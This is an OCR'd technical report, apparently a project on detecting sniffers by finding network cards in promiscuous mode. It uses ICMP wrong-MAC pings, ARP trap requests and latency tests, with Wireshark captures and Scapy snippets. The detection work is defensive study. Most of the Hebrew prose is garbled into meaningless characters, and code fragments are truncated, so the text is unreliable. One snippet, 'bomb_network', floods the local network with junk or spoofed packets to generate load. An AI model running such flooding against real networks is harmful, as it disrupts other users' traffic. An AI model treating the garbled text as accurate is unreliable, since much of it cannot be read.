.YIND 2¥N1 1'K NYAN 0'0IDY [YID UDMPON
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‘N71IYUN AUNNY .N72NnN NdNN 7Wi N7IYN Awnnn 7w MIvEna p1Ian

W‘-’i; a display filte: e w}E
No. Time Source Destination Protocol  Length Info
1 0.000000 192.168.237.1 192.168.237.128 IcMp 42 Echo (ping) request 1d=0x0000, seq=0/@, ttl=64 (no response found!)

Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bi on_jnterface @
Ethernet II, Src: Vmware_c0:00:01 (00:50:56:c0:00:01), Dst: (ab:cd:ef:11:22:33)
Internet Protocol Version 4, Src: 192.168.237.1, Dst: 192.168.237.128
v Internet Control Message Protocol

Type: 8 (Echo (ping) request)

Code: @

Checksum: @xf7ff [correct]

[Checksum Status: Good]

Identifier (BE): @ (©x0000)

Identifier (LE): @ (©x00€0)

Sequence number (BE): @ (0x0000)

Sequence number (LE): @ (0x0000)
v [No response seen]

[Expert Info (Warning/Sequence): No response seen to ICMP request]

PRWI N9t MAC N2IMDY71 ,NMidNN 7w IP-0 N2AINDY7 nWpan DX N7 NINNN AWNNNY NIKYYT N1

MIYPN 7D ORI K7 1IX DNXY N0 .NAIYN NTn XY

Capturing from Pseudo-device that captures on all interfaces [Wireshark 1.6.7 ]

& 2 Qe=23FT & BE & e

Filter: Expression...

No. Time Source Destination Protocol Length Info

7> nX axn Wireshark .12'7% NTyIM N1'RKY NIIAYNN 70 DX [1'0 NWON 0'0DY DIvNn 7y
.N11I0 NN7YY NUPONY M LYIND 11'R NYIN 0'VIDY DIYN .NYIN 0'01D NX NNAWY NMIAYNN

AN DX NNXINIE NN T NIAaNdNn

axna wireshark NX Yl Ubuntu mipna .YINS NYAN 0'0D TWUNKRD AWUNNN NIAaNdNN NX |N1) NYD

‘root NIXYON NNN YN9

& Capture packets in promiscuous mode

_ | Canture packets in ncan-na format

Y191 NWIN 0'01D INI

osboxes@osboxes:~5 grep -r promiscuous /var/leog/kern.log | tail -1
0

Feb 15 16:82:13 osboxes kernel: [ 3080.134877] device eth® entered promiscuous mode
osboxes@osboxes:~
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MWl (N'ONIVIX YND 2¥NY 0">NW NN Sniffer IX Wireshark 10T Dr1ay X7 DNX DX) ['91707 IX
NIT NWAN 0'01D NIX

osboxes@osboxes:~% sudo ifconfig eth@ promisc
[sudo] password for osboxes:
osboxes@osboxes:~5 netstat -1i
Kernel Interface table
MTU Met RX-0OK RX-ERR RX-DRP RX-0VR TX-0OK TX-ERR TX-DRP TX-OVR Flg
1560 @ 202 3] 00 664 (0] 0] @ BMPRU
65536 0 446 3] e e 446 (0] 0] @ LRU
osboxes@osboxes:~%

.Interface-7 qonnn (Promiscuous) P 7aTnw NIX1Y7 N1

N'D - DN NI NXP T R'NY NNNY netstat -i 7y nnon X7 T izn nx7nn? qwnna ax
7w 21N TIR) 71272 vyn X7 XY 1WYW nn -"P"-> Point to Point 2¥Nn NX DA NA'xn
(netstat

NY V9"PON NK YN

M ™ Pseudo-device that captures on all interfaces [Wireshark 1.6.7 ]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
B & e w2 XC=2 Q¢ 3T 4 BB &= w0l # -
Filter: || icmp ¥ | Expression... Clear
No. Time Source Destination Protocol Length Info
1 0.000000 192.168.237.1 192.168.237.128 ICMP 62 Echo (ping) request id=exeeee, seg=0/¢
2 0.080027 192.168.237.128 192.168.237.1 ICMP 44 Echo (ping) reply id=0x0000, seqg=0/6

» Frame 2: 44 bytes on wire (352 bits), 44 bytes captured (352 bits)

» Linux cooked capture

» Internet Protocol Version 4, Src: 192.168.237.128 (192.168.237.128), Dst: 192.168.237.1 (192.168.237.1)
b

Type: @ (Echo (ping) reply)
Code: @

Checksum: @xffff [correct]
Identifier (BE): @ (@x@@0@00)
Identifier (LE): © (©x0000)
Sequence number (BE): © (0x0000)
el L

i 1

nnn%? 1% ICMP Echo-n Nwpa? 1an T30 awnnn .Echo Reply nawn n7apnn nyon
2018.4 Kali mdpn 7y DA VODMPON NN 'M'O1 .I'ZX NTYIM K7 7901 X'n MAC-n NaINd N1'‘NanY

JINT ' NIRXINNI

X7 01D DI T N7'T2 0'VX2N N1 N'0ITIVON ']1'['7 NAYNI N7 NN 'T Y'Y nn'n It no'y
2'TNN NI DY n'Im NI’ XN NIMTn N2V9n0 NDWNAY DIvn Ty 700 N2 D'wnnwn

.(False Negatives 1j7'va) NI'IAW NIRXIN
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https://github.com/ecki/net-tools/blob/0eebece8c964e3cfa8a018f42b2e7e751a7009a0/lib/interface.c#L627-L634

Technologic

Y2 .192.168.237.132 :x'n N7 IP-n nand .(SP1, 64 bit) Windows 7 Niidn 'MNIN :NNaIT k1)
NTVIM X7¢ MIYPN NIKYY N8N nnRa Wiresharkw X111 Promiscuous a¥na Wireshark n'7y

AR

Nipadn IP- MAC niaimd oy [P nopo n7w

my_packet = Ether(dst="aa:bb:cc:dd:ee:
my_packet /= IP(dst="192.168.2

sendp(my_packet, iface="VMwar

Sent 1 packets.

920NN AWNNA A72PNN N INI

m 4@ XRE Qes=zF iEFEaaan
| |‘Jju’ display filter ... <Ct
Mo, Source Destination Protocol  Length Info
1 192.168.237.1 192.168.237.111 IPv4 68

* Frame 1: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits) on interface @
+ Ethernet II, Src: Vmware_c@:80:01 (@@:50:56:c@:08:81), Dst: aa:bb:cc:dd:ee:ff (aa:bb:cc:dd:ee:ff)
» Internet Protocol Versiom &4, Src: 192.168.237.1, Dst: 192.168.237.111

110NN NX 019N NOXII VOFON NX 7'VOI1 NYD .NY!

op\scripts>icmp ping de

is not in promiscuous mode.

'9) MIYPNN NX 21T 791000 DX NINT? N'2¥n X7 09pon Nn%? 70D NI NN ...09IX

920NN Avnna n'n,‘mnw

[ Tapply a display fiter ... <ctri-/> ~| Expression..
=
Mo. Source Destination Protocol  Length Info Time
1 192.168.237.1 192.168.237.132 ICMP 68 Echo (ping) request id=0x@@@@, seq=8/8, ttl-64 (no response .. 8.080888

Frame 1: 6@ bytes on wire (480 bits), 6@ bytes captured (488 bits) on interface @

Ethernet II, Src: Vmware c@:00:01 (@@:58:56:c8:80:81), Dst: ab:cd:ef:11:22:33 (ab:cd:ef:11:22:33)
Internet Protocol Version 4, Src: 192.168.237.1, Dst: 192.168.237.132

Internet Control Message Protocol

J"WN .NIYN NITN X7 D7IR |'PN 9182 n72pPNn ICMP Echo Request-nw NIXTYT N1
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C:\Users\bnaya>ping 192.168.237.132

192.168.237.132 with 32 bytes of data:
timed out.
timed out.
timed out.
timed out.

Ping statistics for 192.168.237.132:
Packets: Sent = 4, Received = 0@, Lost = 4 (100% loss),

90NN Avnna

25 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=17/4352, ttl=128 (no response found!)
26 Vmware_c©:00:01 Vmware_c1:80:86 ARP 60 Who has 192.168.237.132? Tell 192.168.237.1

27 Vmware_c1:80:86 Vmware_c@:00:01 ARP 42 192.168.237.132 is at ©0:0c:29:c1:80:86

28 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=18/4608, ttl=128 (no response found!)
29 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=19/4864, ttl=128 (no response found!)
30 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=20/5120, ttl=128 (no response found!)

MIYPN NIXYY N'72¥N 92000 AWNNN L[N MIZ NN 21 INR .NAIWN 1727 K71 17w XD DA

.YINS 2XN2 DX XIN MI7D -1'IN NTVIM NIRY

Q10 QX7 NIY K71 -[I'RY NIYPA DAL 1'% NITvIMn NIy oa LICMP Echo niwpa 7apn NXin

20177 INWN K¥NIY TV 07NN 19 7V 112yl Windows 7w Firewall-n X 2172

Distributed Transaction Cocrdinator (RPC-EPMAP)Y Distributed Transaction Cec... Private, Public Mo Allow: Nie WSystem... Any Local su bret TP RPC Endp.
Distributed Transaction Coo.. Private, Public Allow Nie System... Any Local su bmet TP Any

Distributed Transaction Coo..  Diomsin Allow  No System... Any Any TP Any

hanng (Echo Request - ICWEW-In) ICMPv4

/ = File and Printer Sharing
@ File and Printer Sharing (Echo Request - ICMP6-In) File and Printer Sharing Dormain No Allows Nie Any Any Any ICMPv6 Any

Diornain

.17 Ny X7 awnnn |3'7I NadNn XN 071X -N'M5N Nwan N ICMPV4 MIvpn 'Mn AT 7In

JNIX 7'M

) File and Printer Sharing (Echo Request - ICMPvd-In) File and Printer Sharing Private, Public Allow No Any Any Local subnet ICMPw4 |

MIYPN Y'Y 7172
C:\Users\bnaya>ping 192.168.237.132
Pinging 192.168.237.132 with 32 bytes of data:

Reply from 192.168.237.132: bytes=32 time<lims TTL=128
Reply from 192.168.237.132: bytes=32 time<lims TTL=128

:09"PON NKR 'v91 N>

C:\Users\bnaya\Desktop\scripts>icmp_ping_detect.py 192.168.237.132

Device 192.168.237.132 is in promiscuous mode.

.NIdAN DX NINT7 NY7¥N KIN PNI
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:NINNXD NNAITN X DD0)
NI'X WRN Nnin - Windows-n MdN2 .NIWD D7Y9 IT ATINNY 1'RY NPTV Linux-0 Nnidna
1N7¥ V95MZON .NAIYN 'TNN K7 TV 2WNn P71 ICMP 2110192 NIYPEN '0719'T [9IX] NNWOKRN
NNRYIN ATNN 271 YOO 1'R XN D NIAyNn DX 'o NIC-Nw Divn NN 7NN K7 XINW awn

Ny

TN X7 TY'N AUNN YITa DYT? T DIY 'R D9Y 09MIp0oY - jmiv? Onie n¥pg Nt 7y 2N
191N NIPNNNNY N1MIYN NU'Y XD D'RIN IR NYYNT .YND 1I'K KINY DIYN ATY N1 KINE-N2IWN

NXIND MIYPNN DX DoinYy Firewall niy¥nxa - 0"M1910 '0IX

ARP Test

MAC nam> oy ICMP nupo NI7w7 Dizna 07IR NNTIpN N0'WY ANT NPV 7V Nooann IT nL'Y

ZARP 2I710M9 N1TYA 72X 12T NI NWY1 ,N9UTA

MAC-n MaInd> NX D'VWTI' NI'RY DawNNn 7w MAC-n NaImd> DX 127 117 yron ,ARP 7I10No
namd? (ARP Request) nwiza N7'an Nwa |'n 91K .DNYY IP-0 DaMD DX P 72X DNYY

TV 7W IP-n NQIMD NX D1''¥N NYp11 .Broadcast

oY NTNA Ny - 17W IP-N NIMD DX NNTAY TV 71 72X NYRAN DK D'KN DY Dfavnnn 7'
TNIYPENN QUNN N'7R NN97 Amr XIinw MAC-n Namd 'nn yTIr n71wn a1 17w MAC-n namd
IP namda 7pn* KIinwdI (ARP Cache Table) nTnim 07202 IP-ni MAC-n 7 TIn'¥n DX NIV XIN

NN97 N'T'9 NAUND IT'R? YT XIN JWNn

ARP Request

Target IP: 192.168.0.1
Target MAC: 00:00:00:00:00:00

\3 Source IP: 192.168.0.101 @
Source: MAC: 12:12:02:12:12:42 %

ARP Response

Source: MAC: 02:12:02:£2:02:/2
Target IP: 192.168,0.101
Target MAC: 12:02:02:12:12:12

[http://computerprojectsduff.wikia.com/wiki/File:lmage0021268491809942.jpg]

https://he.wikipedia.org/wiki/Address Resolution Protocol
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http://computerprojectsduff.wikia.com/wiki/File:Image0021268491809942.jpg
https://he.wikipedia.org/wiki/Address_Resolution_Protocol

Technologic

ARP 71;2101M9 ,windows 7¥ NIYTNN NIXONA2 7701 y'an - 'R '9dY ICMP 21710097 TIana
-2 win'y NIy [Pv4 7y niooannn NIMTINN MIYPENN NINYY NN AN 2N 2171009 XN

°ARP
NN - 2UNNN 7Y MIYPNN NI71D'2 YIADY WY X'NY DIYNA NX70Im N1'K 0T 7171009 nn'on

DIWYY ¥ X7 D'wynnwnn AN

X7W awnni NN NN DX DT X7w Dawnn "y xyn' X7 ARP J'\WJPJ'? Ny 11'KRY 2Awnn

.Cache-1 17¥X DYMY X7¥ D'awnn DY Wpn? ‘21t X7 ARP Nivpa n7Iv

win'y 1WY' X7 178 D'AUNN )01 YN NNIKD DAYNN 2 N'00o ARP n710 ' Tan? 0715 nwn "7nan
NwIN 700 ,NWNY7 QI0N'Y WTN Awnn 7D 1y L 7wn .00 Ninnon It nu'w'? n7Ix ,ARP 711onoa
ARP 7110N9 NX TWOXY? TV DI7AN N2INA .DNINKRD DAYNAN 752 190N Nniw TN D10y

JNIKRY'T 91N DNMAN 7w MAC NaImMdn DX RI¥NY? D'awnn? nnYi

ARP nwjpa 75 v Ny Ty'n awnn TX - YND NYWIN 0'01) DOXY NNINN 7V 002N 1IX L|XD D2
DX ,NRT N7 X7 IX 'Y N7V MAC-n naimd DX Mwn X7 ,1™7 ny'axn na IP-n namow
NNIX 20" XIN TX - Broadcast NI'RY IX IN2IMD N1'’kw MAC NN N7W1 YIND 12'R 1WA 0'01D

NN 7D RN XY

-NNIT U9"PZO NI

e_"_.format(DEVICE_IP = device ip))

.".format(DEVICE_IP = device_ip))

(MN1wn 1900 '© 7y) DMI'UN DK 110)

JDo1m (MAC) N'T' Ty' NAIMD DA''¥N X MY Ethernet X'n n1IwXRIN n2dwn .10

namdn N (IP) na7n Ty namd LARP-n N1dW DX 0'wl Ethernet-n nadw 1 v .11
TIUNN QUNNN 7 NMnkn

.NMUYNY7 'MN11 (NN"7WN 010VO 2V 'I'N K77 ,07W 1¥N]) NYWPAN NX N7w1 .12

PN 0NN TIYNN AWNNNY NN - NAIWN 172 DR ,0TIn V907 Nnim (16 Tv) .13

.YN9 2¥N1 17W NYAN 0'01D DRI P71 IR NTYIM X7 n'7annv

?yMw X 210

.(QNX Xwi AT aKR) NI 0 K7 ARP - IPv6-a
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https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/arp_detection.py
https://en.wikipedia.org/wiki/Neighbor_Discovery_Protocol

Technologic

YN ax¥na X7 X'Nwd ,192.168.237.128 :namdn oy 17w Ubuntu 12.04-n N1IdDN DX AW 'NN0N
YIND 2¥N1 X7 DX X'NYW DNITY UDM70N NN 'MXIN

:\Users\bnaya\Desktop\scripts>arp detection.py 192.168.237.128

192.168.237.128 is not promiscuous mode.

;MWD NN7W1 NYpanw NIXNY [N N71IWn Aawnna

0. Time Source Destination Protocol  Length Info
1 0.600808 Vmware_c@:00:81 aa:bb:ccidd:ee:ff ARP 42 Who has 192.168.237.128? Tell 192.168.237.1
:NIC-n "y 1210 X'nY DIwn ARP-N NWpPa DX D'RIN X7 72700 awnnal
Filter: v | Expression...
No. Time Source Destination Protocol Length Info

:YIND 2¥N7 Nnwn

osboxes@osboxes:~$ sudo ifconfig eth® promisc
[sudo] password for osboxes:
osboxes@osboxes:~$ netstat -i

Kernel Interface table

MTU Met RX-0K RX-ERR RX-DRP RX-0VR TX-OK TX-ERR TX-DRP TX-OVR Flg
1500 0 1675 3] 00 1264 0] 0 @ BMPRU
65536 0 894 0 0 894 e 0 @ LRU
osboxes@osboxes:~$ I

:Wireshark-2 IX

[ Capture packets in promiscuous mode

NIV yMl

:\Users\bnaya\Desktop\scripts>arp detection.py

192.168.237.128 is not promiscuous mode.

AUNNN DAY DRXIN NI YND 2¥N] 1'WONNY NINT? 7% X7 09700 70D NI NN ...09IX

JIXID NYTINN DX NYY N7IvUN

LI € ~ ) = U ¥ | _w |— 1T
LIEB BE) -] e
No. Time: Source Destination Protocol  Length Info
3 25.916736 Vmware_c@:0e:81 aa:bb:cc:dd:ee: ff ARP 42 Who has 192.168.237.128? Tell 192.168.237.1
NYRAN DX 72 TV
Filter: |arp v | Expression... Clear
No. Time Source Destination Protocol Length Info
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DNAN X'N YN NAIMD 70 -yIN9 NWAN 0'0121 NT'NA ,NNINDY 2V .7y 2N X7w 1N 071N

?1121 .ICMP 7¥ {71001 NYUNNYNWD 11'RIY 19D - NAIYN Y TNNYT TV'?

7K NPT TIMYNYW NNaon 11 NNaonn 2y NIson NIz Ta Niyxian ,ARP 7110091 .p1rTa K7 TX
XTI, (Software Filter) "M1dimn j1'on" Nixznn NNS02 NN 17X NIZ'TA 719071 Nvn? Nd™

.NIC-n "y yxianw 'mninn j1'onn 7*1an7 nm 7y

‘NAN D'YNNI NIXINN 11'RIY N2A1ANN

Sniffing

NIC {normal)

reject
ARP request (192.168.1.10) » ARP request (192.168.1.10) -
dst address : 00-00-00-00-00-01 dst address : 00-00-00-00-00-01

[http://www.securityfriday.com/promiscuous_detection 01.pdf]

NOPON NIX 1AY' X7 NWIN 0'0Y1D 721 XN .NNIY NIR'ON D7IX NN 7371 X7 D'aynn vl
NYIN 0'01d YINS ax¥na 17'K1 (Wireshark-2 nUPON NX XN X7 DA TXI) N72Y9NN NdWNY? DR

?0WUY1 NN .N2'PN NI NOPON D 2NNT7 K7W N INYY AWNNN 071X N0P9N NIX 1y

NYza NN'7w D17 N1 .NIC-D IYY NIRATANN NIMTOR NINS |0 N"n Ny¥anwy NiprTan ,n7my
DT TV LIY9R YN 12D X' DR D' MY nayi 7apnn 7ax 720 avna NIC-n My nanTnw ARP
T2V YT NINYIon NIAMD Oy NIYRAL PN ,N"A7 2" N NIY 1770 DzrTany X7 ryny

JNNX My X7 7aRk nnion a"n
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http://www.securityfriday.com/promiscuous_detection_01.pdf
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72N ,DMMIX NNY') N7u90 NIdYN 1®on7? N MAC NIAIMD Dy NIYRA NIKAY N1 707 n7a0a

.YNO 2¥nai 7'a0 ax¥n2a NN DX (NN n"n'? Da roan jNptvn

Table 1. Promiscuous mode detection results using trap ARP request packets

Operating Windows XP | Windows Windows Linux 2.4.x FreeBSD 5.0

Systems Me/9x 2k/NT
Hardware Norm. | Prom. | Norm. | Prom. | Norm. | Prom. | Norm. | Prom. | Norm. | Prom.
Addresses
FF:FF:FF:FF:FF:FF | Br O 0 O (9] 0 (9] 0 O (9] O
FF-FF-FF-FF-FF-FE | B47 | - X - X - X - X - X
FF:FF:00:00:00:00 Bia — X — X X X — X — X
FF:00:00:00:00:00 B8 - - - X - - - X - X
01:00:00:00:00:00 Gr - - - - - - - X — X
01:00:5E:00:00:00 MO — — - - - — — X — X
01:00:5E:00:00:01 MI 0 0 0 0 0 0 0 0 0 0
01:00:5E:00:00:02 M2 — — — — - - — X — X
01:00:5E:00:00:03 M3 - - - - - - - X - X

O: Legal response, X: Illegal response, --: No responsce
[atzn]
IN X' TV'N NAINDY NIPTIA - NIITO NIND DN NP TAN DX DDIWVY 17X DA ,ﬁl7.\19nn nnwn 779

.7 Group bit N7'DNn K'Y IK ,2WNNN W NFMAKRD NAINDN

[IUNKIN 02N NWYNY? KIN AT 012 X7 I Multicast X'n MAC NaINd DX |"¥nw 02N KN Group bit

;17T N2 Group bit-N PAW NAND AXIN YD NI Rnwn Na (LSB N ani)

00000001:00000000:00000000:00000000:00000000:00000000

Z"?YJ'X'I'-:"IOPF\ 0'011 IN

01:00:00:00:00:00

NDWN MNI'Y QNdY D'RNNY NAIMD U7 D71 ,NIN'NN MDY DNd NN N7Y D' Tany nx)
.N7on
,(broadcast namdn TNX Va2 P ) fiAfffAfff.fe DaAMONW NIKA? N1 N7202 NMIANNN

IPT2IW N2u5NN NN 775 112y NIV NIRXYIN NN

:DXNN] UO9"IPZON NX NIYW)

detect promiscuous(d

timeout=MAX TIMEOUT, iface="1 tual Et er for VMnetl", verbose=

de.”.format (DEVICE_IP = device_ip))

.".format(DEVICE_IP = device_ip))
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https://s3.amazonaws.com/academia.edu.documents/38745243/Malicious_Sniffing_Sys_Detection_Platform.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1549729488&Signature=XDvmLJNxTpO8RiMGJ%2BO9uG1lres%3D&response-content-disposition=inline%3B%20filename%3DMalicious_sniffing_systems_detection_pla.pdf

:09"70N NN YN 17W windows-I linux NI1dDN2A YN axna Wireshark nma

! Wireshark - Capture Interfaces @Ii_h]

Input | Qutput | Options

Interface Traffic Link-layer Header Promiscuous Snaplen (B) Buffer (MB) Meonitor Mode Capture Filter
» Local Area Connection ___ Ethernet default 2 —

Capture

Interface: |ethO
IP address: 192.168.237.128, fe80::20c:29ff:fe19:1d5F

Link-layer header type: | Ethernet 2 Buffer size: | 1 - mega

~

! | & Capture packets in promiscuous mode

- Capture packets in pcap-ng fFormat

Limit each packet to bytes

:Ubuntu-n mapn 7y

:\Users\bnaya\Desktop\scripts>arp_detection.py 192.168.237.128

No. Time Source Destination Protocol Length Info
1 0.000000 Vmware c0:60:01 ffff:ff: ff:ff:fe ARP 60 Who has 192.168.237.1287 Tell 192.168.237.1
2 0.000018 Vmware 19:1d:5f Vmware c8:00:01 ARP 42 192.168.237.128 is at ©0:0c:29:19:1d:5f

‘Windows-n napn 7yi

C:\Users\bnaya\Desktop\scriptsrarp detection.py

Device 192.168.237.132 is in promiscuous mode.

Source Destination Protocol  Length Info
Vmware_c@:08:81 fr:ff:ff:Ff:ff:fe ARP 6@ Who has 192.168.237.132? Tell 192.168.237.1
Vmware_cl:808:86 Vmware_c@:808:81 ARP 42 192.168.237.132 is at @0:8c:29:c1:80:86

at 77n on'o

ACMP-n nU'w 19 2y Mivnwn |NN' IT nV'WY .ARP Request-n NU'W NX NINNKRN NNAITA 1'RD
(n'0719'T - Windows-1) nia1 o'nw?w ICMP 7 X721 ARP 7y Nooann X'NY DI NIF NI'NAR KN

7onn

ARP-N Nupa N7ap ONK7 "N NIRNINNN AXRYIND DAY NIRXIN 207 DUYY T DO'Y DA
TY' NAIMD DY NP2 207 1'7Y X0 LICMP 2y nooannn nu'w7? TIMaw XN N7Y D'ion |inon

.N7U90N Nd>Wwn Nyx¥anvy 'Mainn |17'0N NX N7¥NY ,NTNI'N
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TOWNN NI'TA 17X 21702 '2N71 1PN TIR DX XNP7 [N Open Source [NW N7y9n NIdDIVN]
N1 Windows M3 ,nNNX N7Y90 NIDIYN .AN'RNN NQIMD DY NWR2 N017 21 NIYA7 noy
NNAIY NI72) NMYN? NIDIT NIYPZA 17'K YIARY71 NIFDXNI 0710 N0 7V NdIYNN NIANINN NN [IN1Y7

.('m)mn [12'ON NKR

NZAvn" IXY) DWW 0TI 01101 97w FRFF:FF:FF:FF:FE NQIMDN DY nWd INY N7¢ nnalm

0'01D 2¥N NX NI NINT? 1IN7XN PRI NI 2ITAN N7Y90n NN 1900 'y n7apnn ("noon

.N7v nnpnn v nwan

Latency test

770 nx "vn NN YNS 2XNd NY 0'0D TYUKND ,nNXNn n7'nna NMaonw oD

.N"n 7w n1dIMN T My 19107 "nvn?" nnvnn

[207 IX7X' DN NION X7 NIAYN DY TTIMNN? 170X A"n D272 NN 2D DNIX
2’ ,YN9 2¥N] 17U WA 0'0TDY AWNNY NNINN 7Y 002N) 1INIX .DNXYA NNIX

LR N0 K7W NN (11'oa omy 17w Kernel-nw Diwn Niwpa? anir oY

NV 75 11aYn? VX' Kernel-n ,NIAYNN DX V7MY Sniffer ya Ty 2y Ox ,q0M

NIn User Mode-7 Kernel Mode-n ,n7> 1avn .User Mode-a Y ,1910%7 n7apnnw

TV 7y Qo011 oniy Ix'l1 1A n'on!

Network IC

Nj?'7w TN DXY2 XIN RTT .(round-trip time) RTT X1j71w 7Y TITN1 1INIX ,IT N0'WA
NN YVIANT? TV awNnn NIYNY NP7w ata TIvE TV AwnNng 0T DR DIYYY 1099 n0p9Y
NIYPA7 207 17 NEI7 AT NNd AR )21 TV AUNN Y Dannn Nt IR DY Qpe ar W LR

N

'K NYIN 0'LIDI DTN .ND0N NTTN YX¥II N72ITA NMIAVN NWIN DR ') RTT Nn'jp'? WNKRY
NO¥1 - YIN9 NWIN 0'01D1 NTNA .N9XNN 1197 N72'7W NNn'? N'ON' NIANP NIRXIN 72777 N9¥1 YN

.MNIYNYnN |9IX2 NP N1 A RTT-nw

:D'21 NRNON IT NV'WY
NIYY N'NOKIX -DDIN 770 7w DI DA 7Y K7 K NWAN 7Y NoMyn X'y D e

.2 DTYINY U712 TINA [9INA q7INY7 Yy InnY

NoINy NYIN 071X ,YND NYIN 0'01DI1 DN ,7WUn7 .NIQ'0 1IN ARXIND NI'UNYT N9IWN X' e
77NN ,NMYN NTTNAI NI RTT 727NnNn-N9%¥Nn 197 ,NIYRIN NTTNIY D -Nj7n 701 TINN

X7 D ,YNO 1I'R YN 0'VDY 2IYNY7 NYLI 1INIX DT 2¥N] I'N ANy RTT '73.|7TIYJ ,NOXNN
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https://github.com/torvalds/linux/blob/master/net/ipv4/arp.c
https://he.wikipedia.org/wiki/%D7%94%D7%97%D7%9C%D7%A4%D7%AA_%D7%94%D7%A7%D7%A9%D7%A8
https://en.wikipedia.org/wiki/Round-trip_delay_time

NAIYN] NNNWN TY'N 07X ,YND 1'K TYAN 0'0YDI PN, 'o17n7 .RTT-2 'Miynwn 7720 11'RN
7720 1'RY DIYN L, YND YN 0'0I1DYW JIWNYT NYLI TRI NNNKN N2'0N NIRXIND 1YY NTTNY

JNNNK N2'on vl 7Tannl YNO 1I'X YN 0'0D NAT 7w MmK? 07IX ,NITTMMN I'2 'Nnivnwn

N2'201 N'7N'UBIN NI'X IT NP'TA 72NN V790 NIANI NRMPA NDAM NYAT AR T'NY '9)
N7 1NIN NWYN7W D ,NDIN NIYXAND D'X70100 NNRDAN 7 NwAN '0'01dYW DIYN N'YRIVYY
D'AYNN OY DX 'MW IT NPT DX D7 .009Y YI7M'0N DR 1 K78 0NN DY '0'01) 0N
wnw'y Windows 7awnnl ,TTmnl 7atnn T'pona wnw'y Windows 10 ynn awnn - D19

.TTN1D

N0NA1 .single threaded noMal multithreaded NnO72 .NIXONA 'MW DTN NUXPAI9 NX 'NAND
NXI0'K 7221 XTI MY AMwn NoNAal NITTTAN DX yX¥anw threadl 7amw thread w' nmiwxIn
NINONI NIINN' W' NIXONANA NNX 727 .NT"TAN NK Y¥11 TXI NI721ITA NIVPO NIXA Nnd N7w)

.09MPON 7Y NNLINIPITA X¥N1 D'7TaNN 7w "20N .N7wnN

:multi-threaded-n NoMa 7w TIpnn 70 |70
without_noise = ping_measurement(target_ip)
noise_thread = threading.Thread(target=bomb_network, args=(target_ip, NOISE_AMOUNT))

noise_thread.start()

time.sleep(SLEEP BEFORE_MEASUREMENT)

with_noise = ping measurement(target_ip)

-0 0V Nn'w TNl ICMP Echo niwza 30 N7wa - NOPY NWINWD NITTAN NX y¥a71 7'nma .1
JIWpPann NNX 7D 9w RTT

Y1 (bomb_network X' N7atAN N¥7190) MY 72 TN DR Y¥Aw thread a1 (4 1Y) .2
ANIX

119 DTN NIVRS DX 727 'NN'Y 199 71 gyt TYY T DX YNY7 7atnn thread-7 Ina .5

Y1 7atnn threadnw *15 In ,no01 oy Tt .6

N> VIYD INWN NIYY7? 071" 1NN ?NWIN DX N7ATAY 'YIon ,bomb_network NN 'R

:(0myo 2,000 T'21) 72172 DMYO 'on NYIA N'RIPR NTNNN NIYY

bomb_network{device ip, amount):
raw_data = "lalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalal

xrange (amount) :
sendp(raw_data, iface=VMWARE IFACE, verbose=
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https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/latency_detection.py
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YN 17U NWAN 0'0DW TV nyan |70 072NN QWX NI NN YA 21vn

> Frame 1120: 72 bytes on wire (576 bits), 72 bytes captured (576 bits)
¥ Ethernet II, Src: 6¢:61:6c:61:6¢c:61 (6c:61:6c:61:6c:61), Dst: 6c:61:6c:61:6c:61 (6Cc:61:6C:6
> Destination: 6c:61:6C:61:6C:61 (6C:61:6C:61:6C:61)
B Spurce: 6c:61:6c:61:6c:61 (6c:61:6c:61:6C:61)
Type: Unknown (@x6c61)
¥ Data (58 bytes)
Data: 6c616c616c616c616cH16c616Cc616Cc616CcH16C616CE16CH]. ..
N annth- 501
0888 6c 61 6c 61 6c 61 6c 61 6c 61 6c 61 6c 61 6C 61 lalalala lalalala
0818 6c 61 6c 61 6c 61 6Cc 61 6C 61 6C B1 6C B1 BHC 61 lalalala lalalala
08280 6c 61 6c 61 6c 61 6Cc 61 6C 61 6C B1 6C B1 6HC 61 lalalala lalalala
0838 6c 61 6c 61 6c 61 6c 61 6C B1 6C B1 6C B1 BHC 61 lalalala lalalala
0848 6c 61 6c 61 6c 61 B6C B1 lalalala

X'NY O'NTA T L,D0YW .0"n N2 M7 N1 NNID K'Y NINNY ,NWIN 0'01) 19 7Y N97IN XN
D NWR NI DX TIA? TV AWNNY 12173 DINIX TR .ONIX D'R70101 7071 71710109 QX INXIN X7

.NMAY7 ATINE NNN IMIX 201 RIN 72K - 727 [207 11X XN

NI'Y NN NYXNY YT D720 2071 ,NNT NIYYT? 7D .AWR NI 1Ay VN AUNnY 0NN DNIX
NI7'an 27, T INT'Y QWO NINON NITNNA NIXA DNO NI7WY DI7na 7D .Kernel-n 11ma "na7w”

STV AWNn 7V 'Mivnwn ANt 91X 0MynY 210 120 N7 Uy

"D - TY'N AUNN ¢ NAIMdNN MY NQIND DY ethernet N1dOWN 107N N 2'DNIY VINAON
AUNNN 7Y NN TV NAIMD DY - IP Header 9'on .71 nwn 0'01D Dy Dfavwnn "'y nNTNY
0VMAON NT 27w - TCP 7w Header g'on pn NX7 .3 N2OW W np'Tan DX NIPXYT 1D ,pT2In

1120 DAID7 NS XIN D, TV MY ANT' XD

bomb_network(device_ip, amount):
noise_packet = Ether(dst="aa: aa:aa:aa:aa")/IP(dst=device ip)/TCP()

for i xrange(amount) :
Sendp{noiﬁe_packetL iface=VMWARE_TIFACE, verbose=

y¥a71 T NI AT VIiPwnt 10X TYIY D IP-0 NIVPZO NN VINADY KIN NIYYY? [N1IY 901 1T

.Reassembly

.NTTN 7w N0NA 72 11y NNXL,YND 2¥N] NIXIN MY 79 NIRXIN 707 7yn7 010 .99

0.013
I Without noise = L] 0.016 { HEE Without noise [ ]
.01z | MM with noise - [ ] I With noise =
L] ]
" " 0.014 -
0.011 '. ™ n ™ ]
- ., ] - - = [
L} [ B | L] ] ™
0.010 L] ™ 0.012
@ ] . 5 . L] .
